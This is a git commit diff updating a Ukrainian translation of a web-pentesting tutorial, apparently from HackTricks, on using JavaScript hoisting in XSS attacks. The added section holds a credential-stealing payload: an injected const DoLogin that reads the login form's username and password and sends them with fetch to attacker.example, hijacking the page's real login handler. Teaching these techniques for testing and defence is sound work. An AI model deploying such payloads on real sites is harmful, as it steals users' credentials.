Translated ['', 'src/pentesting-web/xss-cross-site-scripting/README.md',

This commit is contained in:
Translator 2025-08-28 19:29:00 +00:00
parent 1fb51f50fb
commit 76295ca4e3
2 changed files with 324 additions and 256 deletions

File diff suppressed because it is too large Load Diff

View File

@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
У мові JavaScript описується механізм, відомий як **Hoisting**, де оголошення змінних, функцій, класів або імпортів концептуально піднімаються на верхню частину їхньої області видимості перед виконанням коду. Цей процес автоматично виконується движком JavaScript, який проходить через скрипт у кілька проходів.
У мові JavaScript існує механізм, відомий як **Hoisting**, при якому оголошення змінних, функцій, класів або імпортів концептуально піднімаються на початок їхньої області видимості перед виконанням коду. Цей процес автоматично виконується движком JavaScript, який проходить по скрипту в кілька проходів.
Під час першого проходу движок аналізує код, щоб перевірити наявність синтаксичних помилок, і перетворює його в абстрактне синтаксичне дерево. Ця фаза включає підйом, процес, в якому певні оголошення переміщуються на верхню частину контексту виконання. Якщо фаза аналізу успішна, що вказує на відсутність синтаксичних помилок, виконання скрипту продовжується.
Під час першого проходу движок парсить код для перевірки синтаксичних помилок і перетворює його у абстрактне синтаксичне дерево. Ця фаза включає hoisting, процес, у якому певні оголошення переміщуються на початок контексту виконання. Якщо фаза парсингу пройшла успішно, тобто синтаксичних помилок не виявлено, виконання скрипта продовжується.
Важливо зрозуміти, що:
Важливо розуміти, що:
1. Скрипт повинен бути вільним від синтаксичних помилок для виконання. Правила синтаксису повинні суворо дотримуватись.
2. Розміщення коду в скрипті впливає на виконання через підйом, хоча виконуваний код може відрізнятися від його текстового представлення.
1. Скрипт має бути вільним від синтаксичних помилок, щоб відбулося його виконання. Правила синтаксису потрібно суворо дотримуватися.
2. Розташування коду в скрипті впливає на виконання через hoisting, хоча виконуваний код може відрізнятися від його текстового представлення.
#### Types of Hoisting
#### Типи Hoisting
Відповідно до інформації з MDN, існує чотири різні типи підйому в JavaScript:
Згідно з інформацією з MDN, у JavaScript існує чотири різні типи hoisting:
1. **Value Hoisting**: Дозволяє використовувати значення змінної в її області видимості до рядка оголошення.
2. **Declaration Hoisting**: Дозволяє посилатися на змінну в її області видимості до оголошення без виклику `ReferenceError`, але значення змінної буде `undefined`.
3. Цей тип змінює поведінку в межах своєї області видимості через оголошення змінної до її фактичного рядка оголошення.
1. **Value Hoisting**: Дозволяє використовувати значення змінної в межах її області видимості до рядка її оголошення.
2. **Declaration Hoisting**: Дозволяє звертатися до змінної в межах її області видимості до її оголошення без виклику `ReferenceError`, але значення змінної буде `undefined`.
3. Цей тип змінює поведінку в межах області видимості через те, що оголошення змінної опиняється перед її фактичною рядком оголошення.
4. Побічні ефекти оголошення відбуваються до того, як буде оцінено решту коду, що його містить.
Докладно, оголошення функцій демонструють поведінку підйому типу 1. Ключове слово `var` демонструє поведінку типу 2. Лексичні оголошення, які включають `let`, `const` і `class`, показують поведінку типу 3. Нарешті, оператори `import` є унікальними тим, що вони піднімаються з поведінкою як типу 1, так і типу 4.
Детальніше: оголошення функцій демонструють поведінку hoisting типу 1. Ключове слово `var` проявляє поведінку типу 2. Лексичні оголошення, які включають `let`, `const` і `class`, показують поведінку типу 3. Нарешті, `import` statements унікальні тим, що вони піднімаються з поведінкою як типу 1, так і типу 4.
## Scenarios
## Сценарії
Отже, якщо у вас є сценарії, де ви можете **Inject JS code after an undeclared object** використовується, ви могли б **fix the syntax** оголосивши його (щоб ваш код виконувався замість того, щоб викликати помилку):
Отже, якщо у вас є сценарії, де ви можете **впровадити JS-код після використання неоголошеного об'єкта**, ви можете **виправити синтаксис**, оголосивши його (щоб ваш код виконався замість того, щоб спричинити помилку):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -127,11 +127,31 @@ alert(1) -
},
})
}
trigger()
```
### Запобігайте пізнішим оголошенням, заблокувавши ім'я за допомогою const
Якщо ви можете виконатися до того, як на верхньому рівні буде розібрано `function foo(){...}`, оголошення лексичного зв'язування з тим же іменем (наприклад, `const foo = ...`) завадить пізнішому оголошенню функції перевизначити цей ідентифікатор. Цим можна зловживати в RXSS, щоб перехопити критичні обробники, визначені пізніше на сторінці:
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
Примітки
- Це покладається на порядок виконання та глобальну (верхнього рівня) область видимості.
- Якщо ваш payload виконується всередині `eval()`, пам'ятайте, що `const/let` всередині `eval` мають блочну область видимості і не створюватимуть глобальних зв'язків. Впровадьте новий елемент `<script>` з кодом, щоб встановити справжній глобальний `const`.
## Посилання
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
{{#include ../../banners/hacktricks-training.md}}